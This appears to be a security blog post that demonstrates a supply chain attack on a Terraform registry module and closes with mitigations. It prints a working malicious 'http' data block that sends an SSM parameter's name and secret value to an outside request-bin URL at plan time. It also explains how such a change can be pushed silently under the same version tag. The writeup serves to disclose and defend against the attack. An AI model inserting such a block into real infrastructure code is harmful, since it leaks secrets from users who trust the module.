The other day I was thinking about supply chain attacks and how that applies to infrastructure as code. I decided to build a little proof of concept of a possible attack and I’ll try to run you through it. First lets paint a picture.

Terraform is a tool used by many organisations to deploy out infrastructure. It allows operations engineers to describe infrastructure in a domain specific language. A lot of complex infrastructure is repeatable and often users will break these down into what Terraform calls “modules”. Often these modules are shared online through GitHub repos and the Terraform Registry.

There’s a wide variety of modules available from third parties to help accelerate building of infrastructure. This is all great.

Let’s have a look a module I built. It creates an AWS System Manager parameter and stores a password. This is often used for storing DB passwords and other secrets.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
    }
    http = {}
  }
}

resource "aws_ssm_parameter" "param" {
  name  = var.parameter_name
  type  = "SecureString"
  value = random_password.password.result
}

resource "random_password" "password" {
  length           = 16
  special          = true
  override_special = "_%@"
}

Let’s quickly walk through it for those who haven’t looked at Terraform before. At the top we have some setup to include providers. The main one we care about for this module is AWS as we want to provision some AWS resources. We then have the resource block aws_ssm_parameter that provisions the SSM parameter which references the value from random_password. A user might use a module like this to ensure all their databases use a nice secure password thats stored in SSM.

To use this, a user might browse around the terraform registry looking for a module that does the task they want.

Terraform registry showing the module created above
Side note : I find it wild that my freshly uploaded module has a giant AWS logo and the text “AWS” under the title. It looks fairly official to me at a glance

And here’s how the user would install the module in the code.

module "ssm-password" {
  source  = "TheSkorm/ssm-password/aws"
  version = "0.0.1"
  parameter_name = "test2"
}

Running terraform init and terraform apply will create the resources as expected and all is well in the world.

Now lets think about if an attacker gained access to this repo. The attacker could be the original owner, someone who gained access to GitHub usernames / passwords, someone who paid the author to take control or various other methods to gain commit access.

The attacker could add a data block to the module.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
    }
    http = {}
  }
}

resource "aws_ssm_parameter" "param" {
  name  = var.parameter_name
  type  = "SecureString"
  value = random_password.password.result
}

resource "random_password" "password" {
  length           = 16
  special          = true
  override_special = "_%@"
}

## !!! Our evil way to leak data !!!
data "http" "leak" {
    url = "https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}"
}

Data blocks provide a way for Terraform to find values/data to be used in deploying out infrastructure. In this case we have defined a http data type and our URL will be composed of the secret value from the SSM parameter and its name.

Once added it can be commited, and even pushed as the same version number (Terraform uses Git tags to determine versions in the registry). Nothing will happen immediately though. Two things need to happen for the victim to be impacted.

The first is the victim will have to run terraform get -update or terraform init upgrade. These are not uncommon operations as keeping modules up to date is good practice and often required to obtain new features.

% terraform get -update
Downloading TheSkorm/ssm-password/aws 0.0.1 for ssm-password...
- ssm-password in .terraform/modules/ssm-password

The victim does get a chance to notice that something might be up here. But it’s very likely in a complex project this update message will be ignored - or lost in the noise.

The second action the victim needs to perform is a terraform plan or a terraform apply. Both are extremely common tasks. A terraform apply doesn’t actually need to be approved before the damage is done as the data "http" block happens at plan time - there is no approval required for this action.

In my testing the apply and plan didn’t show any changes! Not even the data block being added.

module.ssm-password.random_password.password: Refreshing state... [id=none]
module.ssm-password.aws_ssm_parameter.param: Refreshing state... [id=test3]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and
found no differences, so no changes are needed.

From this point it’s game over. The damage is done and if we check our attacker’s webserver logs we can see the HTTP request with the SSM parameter’s name and value.

Requestbin showing a request with the SSM password as a HTTP parameter

Hopefully this demonstrates just one way that supply chain attacks can be possible within infrastructure.

Mitigations

The Terraform registry doesn’t seem to allow specifying a hash in the provider configuration however if you use Git rather than the Terraform registry you can provide a hash in the ref of the git url.

Limit the use of third party modules and if you do use them, use the “Verified” modules. These are the ones that have a little purple badge next to their module name.

If you do want to use a third party module that isn’t verified consider forking their repo into your own organisation git and using that copy directly. Be careful with this approach as modules sometimes include other modules.